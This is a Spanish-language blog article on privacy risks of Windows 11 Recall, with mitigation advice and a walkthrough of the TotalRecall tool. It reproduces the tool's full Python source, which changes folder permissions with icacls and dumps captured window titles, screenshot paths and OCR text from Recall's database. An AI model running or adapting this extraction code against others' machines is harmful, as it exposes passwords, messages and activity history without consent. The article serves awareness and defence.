Riesgos de Seguridad de Windows Recall: Cómo las Capturas de Pantalla Constantes Amenazan tu Privacidad

Spread the love
Listen to this article

Windows Recall, es una función avanzada que permite a los usuarios buscar en el historial de uso de su ordenador utilizando lenguaje natural. Captura pantallas cada cinco segundos y analiza estos datos con algoritmos de inteligencia artificial para hacerlos accesibles y útiles. Sin embargo, esta funcionalidad plantea serios problemas de privacidad y seguridad, especialmente cuando se explota a través de herramientas como TotalRecall. Aquí se detallan los peligros asociados con tener activado Windows Recall:

Peligros de Tener Activado Windows Recall

  1. Robo de Información Sensible:
  • Las capturas de pantalla pueden contener información extremadamente sensible, como contraseñas, números de tarjetas de crédito, mensajes privados, documentos confidenciales y más. Si alguien obtiene acceso no autorizado a estos datos, puede robar esta información y utilizarla para actividades maliciosas.
  1. Vulnerabilidad a Exploits:
  • Herramientas como TotalRecall pueden explotar Windows Recall para extraer y analizar las capturas de pantalla almacenadas localmente. Esto puede permitir a los atacantes obtener un historial completo de la actividad del usuario sin su conocimiento.
  1. Violación de la Privacidad:
  • La función Windows Recall guarda un registro detallado de todo lo que ocurre en la pantalla del usuario, lo que representa una invasión significativa a la privacidad. Incluso si los datos se almacenan localmente, pueden ser accesibles para cualquier persona con acceso físico o remoto a la computadora.
  1. Acceso No Autorizado:
  • Si la computadora es comprometida por malware, los atacantes pueden tener acceso a las capturas de pantalla y al historial de uso. Esto puede incluir detalles personales, datos financieros, y otra información sensible.
  1. Abuso por Parte de Empleadores o Compañeros de Casa:
  • En un entorno laboral o doméstico, otros usuarios con acceso a la misma máquina podrían utilizar Windows Recall para espiar las actividades de alguien más. Esto podría llevar a situaciones de abuso y violaciones de privacidad.
  1. Compromiso de Datos Corporativos:
  • En el caso de que Windows Recall esté activado en dispositivos corporativos, podría llevar a filtraciones de datos sensibles de la empresa, incluidas estrategias de negocios, detalles de proyectos y comunicaciones internas.

Ejemplo de Explotación con TotalRecall

El script totalrecall.py permite a un atacante extraer y analizar los datos capturados por Windows Recall. Aquí hay un ejemplo de cómo funciona:

  1. Modificación de Permisos:
  • El script modifica los permisos del directorio donde se almacenan las capturas de pantalla para asegurarse de que puede acceder a todos los archivos necesarios.
  1. Acceso a la Base de Datos:
  • TotalRecall accede a la base de datos Snapshot.db donde se almacenan las capturas de pantalla y la información asociada.
  1. Extracción de Datos:
  • Extrae las ventanas capturadas y las imágenes tomadas en un rango de fechas específico.
  • Realiza búsquedas de texto dentro de las capturas de pantalla utilizando reconocimiento óptico de caracteres (OCR).
  1. Generación de Reportes:
  • Genera un informe detallado de toda la actividad capturada, incluyendo los resultados de las búsquedas de texto, y lo guarda en un archivo accesible para el atacante.

Medidas de Seguridad

Para mitigar estos riesgos, considera las siguientes medidas de seguridad:

  1. Desactivar Windows Recall:
  • Si no necesitas esta funcionalidad, desactívala para prevenir la captura y almacenamiento innecesario de datos sensibles.
  1. Control de Acceso:
  • Asegúrate de que solo personas autorizadas tengan acceso físico y remoto a tu computadora.
  1. Seguridad del Sistema:
  • Mantén tu sistema operativo y software actualizado con los últimos parches de seguridad.
  • Utiliza software antivirus y anti-malware para proteger tu sistema de amenazas.
  1. Cifrado de Datos:
  • Considera cifrar los datos almacenados en tu computadora para protegerlos en caso de que alguien obtenga acceso no autorizado.
  1. Supervisión y Auditoría:
  • Implementa herramientas de monitoreo y auditoría para detectar y responder a accesos no autorizados a tu sistema y datos.

En resumen, Windows Recall, aunque útil, plantea serios problemas de privacidad y seguridad, especialmente cuando se combina con herramientas como TotalRecall que pueden explotar sus funcionalidades para extraer datos sensibles. Es crucial ser consciente de estos riesgos y tomar medidas adecuadas para proteger tus datos y tu privacidad.

El archivo zip contiene los siguientes archivos:

  1. .gitattributes
  2. README.md
  3. totalrecall.py

Vamos a examinar el contenido de los archivos relevantes para entender de qué trata el programa y cómo funciona. Primero, revisaremos el archivo README.md para ver si proporciona alguna documentación sobre el programa. Luego, examinaremos el archivo totalrecall.py, que parece ser el script principal.

Contenido del README.md

Vamos a leer el contenido del archivo README.md.

El archivo README.md proporciona una descripción del programa TotalRecall y su propósito. Aquí hay un resumen de la información relevante:

Descripción del Programa TotalRecall

  • TotalRecall es una herramienta diseñada para extraer y mostrar datos de la función “Recall” en Windows 11.
  • Windows Recall es una característica anunciada por Microsoft, que permite a los usuarios ver un historial de la actividad de su PC. Toma capturas de pantalla cada cinco segundos cuando hay cambios en la pantalla y almacena estas capturas localmente para ser analizadas y buscadas.
  • Funcionalidades de TotalRecall:
  • Extracción de Datos: Accede a los snapshots tomados por Recall.
  • OCR (Reconocimiento Óptico de Caracteres): Permite buscar texto dentro de las capturas de pantalla, incluso si el texto está en una imagen.
  • Filtrado por Fecha: Permite especificar un rango de fechas para limitar la extracción de datos.
  • Generación de Reportes: Crea un archivo de texto con un resumen de los datos capturados, incluyendo conteos de ventanas y capturas de pantalla.

Requisitos

  • Necesita un PC con Copilot+ corriendo en arquitectura ARM.

Características Clave

  • Filtrado de Fecha: Limitación de extracción a un período específico.
  • Búsqueda de Texto: Encontrar texto específico en los datos capturados.
  • Reportes Comprensivos: Resúmenes detallados de las capturas y resultados de búsqueda.

Actualizaciones

  • Permisos: Se añadió una función para modificar permisos y asegurar el acceso necesario a los archivos.

Ahora, vamos a revisar el archivo totalrecall.py para entender cómo funciona el script principal.

Análisis del Código del Programa totalrecall.py

El archivo totalrecall.py contiene el script principal de la herramienta TotalRecall. Aquí hay un desglose de su funcionamiento:

1. Importación de Módulos

import os
import shutil
import sqlite3
from datetime import datetime, timedelta
import getpass
import argparse
import subprocess

El script importa varios módulos necesarios para manejar archivos, trabajar con bases de datos SQLite, obtener información del sistema, y ejecutar comandos del sistema.

2. Constantes y Funciones Auxiliares

VERSION = "0.3"

BLUE = "\\033[94m"
GREEN = "\\033[92m"
YELLOW = "\\033[93m"
RED = "\\033[91m"
ENDC = "\\033[0m"

def display_banner():
    banner = (r"""
___________     __         .__ __________                     .__  .__   
\__    ___/____/  |______  |  |\______   \ ____   ____ _____  |  | |  |  
  |    | /  _ \   __\__  \ |  | |       _// __ \_/ ___\\__  \ |  | |  |  
  |    |(  <_> )  |  / __ \|  |_|    |   \  ___/\  \___ / __ \|  |_|  |__
  |____| \____/|__| (____  /____/____|_  /\___  >\___  >____  /____/____/
                         \/            \/     \/     \/     \/           
v""" + VERSION + " / Alexander Hagenah / @xaitax / ah@primepage.de\n")
    print(BLUE + banner + ENDC)

Define la versión del programa, colores para la consola y una función para mostrar un banner al inicio.

3. Modificación de Permisos

def modify_permissions(path):
    try:
        subprocess.run(
            ["icacls", path, "/grant", f"{getpass.getuser()}:(OI)(CI)F", "/T", "/C", "/Q"],
            check=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )
        print(f"{GREEN}✅ Permissions modified for {path} and all its subdirectories and files{ENDC}")
    except subprocess.CalledProcessError as e:
        print(f"{RED}❌ Failed to modify permissions for {path}: {e}{ENDC}")

Modifica los permisos de un directorio y sus subdirectorios para asegurar el acceso necesario.

4. Función Principal

def main(from_date=None, to_date=None, search_term=None):
    display_banner()
    username = getpass.getuser()
    base_path = f"C:\\Users\\{username}\\AppData\\Local\\CoreAIPlatform.00\\UKP"

    if not os.path.exists(base_path):
        print("🚫 Base path does not exist.")
        return

    modify_permissions(base_path)
    guid_folder = next((os.path.join(base_path, folder_name) for folder_name in os.listdir(base_path) if os.path.isdir(os.path.join(base_path, folder_name))), None)

    if not guid_folder:
        print("🚫 Could not find the GUID folder.")
        return

    database_path = os.path.join(guid_folder, "Snapshot.db")
    if not os.path.exists(database_path):
        print("🚫 Database file does not exist.")
        return

    extraction_folder = os.path.join(os.getcwd(), "TotalRecall")
    if not os.path.exists(extraction_folder):
        os.makedirs(extraction_folder)

    conn = sqlite3.connect(database_path)
    cursor = conn.cursor()

    output = []
    captured_windows = []
    images_taken = []

    date_filter = ""
    if from_date and to_date:
        date_filter = f"WHERE timestamp BETWEEN '{from_date}' AND '{to_date}'"

    cursor.execute(f"SELECT window_title, timestamp FROM CapturedWindows {date_filter}")
    windows = cursor.fetchall()

    for window in windows:
        captured_windows.append(f"{window[1]}: {window[0]}")
    output.append(f"🖼️ Captured windows: {len(captured_windows)}")

    cursor.execute(f"SELECT image_path, timestamp FROM ImagesTaken {date_filter}")
    images = cursor.fetchall()

    for image in images:
        images_taken.append(f"{image[1]}: {image[0]}")
    output.append(f"📸 Images taken: {len(images_taken)}")

    if search_term:
        search_query = f"SELECT c1, c2 FROM WindowCaptureTextIndex_content WHERE c1 LIKE ? OR c2 LIKE ?"
        cursor.execute(search_query, (f"%{search_term}%", f"%{search_term}%"))
        search_results = cursor.fetchall()
        search_results_count = len(search_results)
        output.append(f"🔍 Search results for '{search_term}': {search_results_count}")

        search_output = [f"c1: {result[0]}, c2: {result[1]}" for result in search_results]
    else:
        search_output = []

    with open(os.path.join(extraction_folder, "TotalRecall.txt"), "w", encoding="utf-8") as file:
        file.write("Captured Windows:\n")
        file.write("\n".join(captured_windows))
        file.write("\n\nImages Taken:\n")
        file.write("\n".join(images_taken))
        if search_term:
            file.write("\n\nSearch Results:\n")
            file.write("\n".join(search_output))

    conn.close()

    for line in output:
        print(line)

    print(f"\n📄 Summary of the extraction is available in the file:")
    print(f"{YELLOW}{os.path.join(extraction_folder, 'TotalRecall.txt')}{ENDC}")
    print(f"\n📂 Full extraction folder path:")
    print(f"{YELLOW}{extraction_folder}{ENDC}")

Esta función es el núcleo del programa:

  • Muestra el banner.
  • Obtiene el nombre de usuario y construye la ruta base.
  • Verifica la existencia de la ruta y modifica los permisos.
  • Encuentra el directorio GUID y la base de datos.
  • Extrae y guarda ventanas capturadas e imágenes en un rango de fechas opcional.
  • Realiza una búsqueda de texto opcional.
  • Escribe un resumen de los datos capturados en un archivo de texto.

5. Argumentos de Línea de Comandos

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Extract and display Windows Recall data.")
    parser.add_argument("--from_date", help="The start date in YYYY-MM-DD format.", type=str, default=None)
    parser.add_argument("--to_date", help="The end date in YYYY-MM-DD format.", type=str, default=None)
    parser.add_argument("--search", help="Search term for text recognition data.", type=str, default=None)
    args = parser.parse_args()

    try:
        if args.from_date:
            datetime.strptime(args.from_date, "%Y-%m-%d")
        if args.to_date:
            datetime.strptime(args.to_date, "%Y-%m-%d")
    except ValueError:
        parser.error("Date format must be YYYY-MM-DD.")

    main(args.from_date, args.to_date, args.search)

Permite ejecutar el script con argumentos de línea de comandos para especificar un rango de fechas y un término de búsqueda.

Conclusión

TotalRecall es una herramienta que extrae y muestra datos de la función Windows Recall, incluyendo ventanas capturadas e imágenes, y permite búsquedas de texto dentro de estos datos. Puede ser utilizado para auditar la actividad de una computadora, pero también plantea serios riesgos de privacidad y seguridad si se utiliza sin el consentimiento del usuario.

aca dejo el exploit que podrian usar y como xaitax/TotalRecall: This tool extracts and displays data from the Recall feature in Windows 11, providing an easy way to access information about your PC’s activity snapshots. (github.com)

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *